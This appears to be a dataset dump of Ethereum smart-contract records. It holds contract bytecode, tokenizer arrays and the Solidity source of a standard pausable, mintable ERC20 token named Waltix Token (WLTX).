ffffffffffffffffffffffffffffff84811660048301528216906327f63b05906024015b60206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fc919061145c565b6000806108c78373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166108ed5750600092915050565b6040517f2b09f45600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8481166004830152821690632b09f45690602401610845565b3373c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff1663b9da967d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561099c57600080fd5b505afa1580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d49190611379565b6040517f0172e60e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301529190911690630172e60e9060240160206040518083038186803b158015610a3d57600080fd5b505afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a75919061145c565b610adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a20696e76616c6964204964656e7469747920636f6e7472616374006044820152606401610399565b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152829190821690637f247e499060240160206040518083038186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d919061145c565b610be3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f435849503a2063726561746f722077616c6c6574206e6f74206f776e657200006044820152606401610399565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301528216906327f63b059060240160206040518083038186803b158015610c4a57600080fd5b505afa158015610c5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c82919061145c565b610ce8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b6040517feb6538e900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301526024820186905282169063eb6538e99060440160206040518083038186803b158015610d5657600080fd5b505afa158015610d6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8e919061145c565b610df4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f435849503a206e6f74207265676973746572656420746f6b656e0000000000006044820152606401610399565b60008315610f41578173ffffffffffffffffffffffffffffffffffffffff1663fe75154b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4257600080fd5b505afa158015610e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7a919061145c565b610ee0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f435849503a206e6f742061206e657720636f6c6c656374696f6e20746f6b656e6044820152606401610399565b506040805173ffffffffffffffffffffffffffffffffffffffff8088168252881660208201529081018590526001907ffde888083b38fe6deac8498d5daebda0d38d0d3e6167e434b633f955152766fa9060600160405180910390a1610f9a565b6040805173ffffffffffffffffffffffffffffffffffffffff8089168252891660208201529081018690527f7156d0b8d9ed8d1117b97d76a15a304bad2749fc23251c2c7ed65a06989528509060600160405180910390a15b50505050505050565b600080610fd58373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff8116610ffb5750600092915050565b6040517f88e7e76600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84811660048301528216906388e7e76690602401610845565b6000806110818373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff8116611100576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b6040517fc3386c8100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015282169063c3386c819060240160206040518083038186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fc9190611478565b6000806111d18473ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166111f85760009150506112a3565b6040517fdbdd85a300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301526024820185905282169063dbdd85a3906044015b60206040518083038186803b15801561126757600080fd5b505afa15801561127b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129f919061145c565b9150505b92915050565b6000806112db8473ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166113025760009150506112a3565b6040517feb6538e900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301526024820185905282169063eb6538e99060440161124f565b60006020828403121561136e578081fd5b81356101fc816114f0565b60006020828403121561138a578081fd5b81516101fc816114f0565b6000806000606084860312156113a9578182fd5b83356113b4816114f0565b925060208401356113c4816114f0565b915060408401356113d481611515565b809150509250925092565b600080600080608085870312156113f4578081fd5b84356113ff816114f0565b9350602085013561140f816114f0565b925060408501359150606085013561142681611515565b939692955090935050565b60008060408385031215611443578182fd5b823561144e816114f0565b946020939093013593505050565b60006020828403121561146d578081fd5b81516101fc81611515565b600060208284031215611489578081fd5b8151600481106101fc578182fd5b60208101600483106114ab576114ab6114c1565b91905290565b60208101600383106114ab576114ab5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461151257600080fd5b50565b801515811461151257600080fdfea26469706673582212208f4fa10b962496969089a0aaee8da6e673bab7c42961fbdeeac8704408855f6664736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 19481, 7875, 28154, 2546, 16048, 2278, 2487, 9468, 2497, 2683, 20958, 2683, 19841, 28311, 2620, 16932, 12740, 2094, 24087, 9468, 2692, 2497, 16576, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1013, 1032, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1032, 1032, 1032, 1035, 1035, 1013, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1013, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,631
0x9573a4ae0d4b52d25a5abe8858299d66915f2f98
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract WaltixToken is MintableToken, PausableToken { string public constant name = "Waltix Token"; string public constant symbol = "WLTX"; uint32 public constant decimals = 3; function WaltixToken() public { // --- сразу ставим токен на паузу // чтобы на этапе PreSale нельзя было переводить токены pause(); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c757806318160ddd1461022157806323b872dd1461024a578063313ce567146102c35780633f4ba83a146102f857806340c10f191461030d5780635c975abb14610367578063661884631461039457806370a08231146103ee5780637d64bcb41461043b5780638456cb59146104685780638da5cb5b1461047d57806395d89b41146104d2578063a9059cbb14610560578063d73dd623146105ba578063dd62ed3e14610614578063f2fde38b14610680575b600080fd5b341561011757600080fd5b61011f6106b9565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c6106cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610705565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b610234610735565b6040518082815260200191505060405180910390f35b341561025557600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073f565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102d6610771565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561030357600080fd5b61030b610776565b005b341561031857600080fd5b61034d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610836565b604051808215151515815260200191505060405180910390f35b341561037257600080fd5b61037a610a1c565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103d4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a2f565b604051808215151515815260200191505060405180910390f35b34156103f957600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a5f565b6040518082815260200191505060405180910390f35b341561044657600080fd5b61044e610aa7565b604051808215151515815260200191505060405180910390f35b341561047357600080fd5b61047b610b6f565b005b341561048857600080fd5b610490610c30565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104dd57600080fd5b6104e5610c56565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052557808201518184015260208101905061050a565b50505050905090810190601f1680156105525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056b57600080fd5b6105a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c8f565b604051808215151515815260200191505060405180910390f35b34156105c557600080fd5b6105fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b341561061f57600080fd5b61066a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cef565b6040518082815260200191505060405180910390f35b341561068b57600080fd5b6106b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d76565b005b600360149054906101000a900460ff1681565b6040805190810160405280600c81526020017f57616c74697820546f6b656e000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff1615151561072357600080fd5b61072d8383610ece565b905092915050565b6000600154905090565b6000600360159054906101000a900460ff1615151561075d57600080fd5b610768848484610fc0565b90509392505050565b600381565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107d257600080fd5b600360159054906101000a900460ff1615156107ed57600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089457600080fd5b600360149054906101000a900460ff161515156108b057600080fd5b6108c58260015461137a90919063ffffffff16565b60018190555061091c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16151515610a4d57600080fd5b610a578383611398565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0557600080fd5b600360149054906101000a900460ff16151515610b2157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bcb57600080fd5b600360159054906101000a900460ff16151515610be757600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f574c54580000000000000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff16151515610cad57600080fd5b610cb78383611629565b905092915050565b6000600360159054906101000a900460ff16151515610cdd57600080fd5b610ce78383611848565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ffd57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110d557600080fd5b611126826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561138e57fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114a9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d565b6114bc8382611a4490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b357600080fd5b611704826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611797826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118d982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611a5257fe5b8183039050929150505600a165627a7a72305820d5097fc8329b38fd718bbc15f002c3c26b12d13a6e0bd7011054da4905082fe30029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2509, 2050, 2549, 6679, 2692, 2094, 2549, 2497, 25746, 2094, 17788, 2050, 2629, 16336, 2620, 27531, 2620, 24594, 2683, 2094, 28756, 2683, 16068, 2546, 2475, 2546, 2683, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2459, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 102 ]
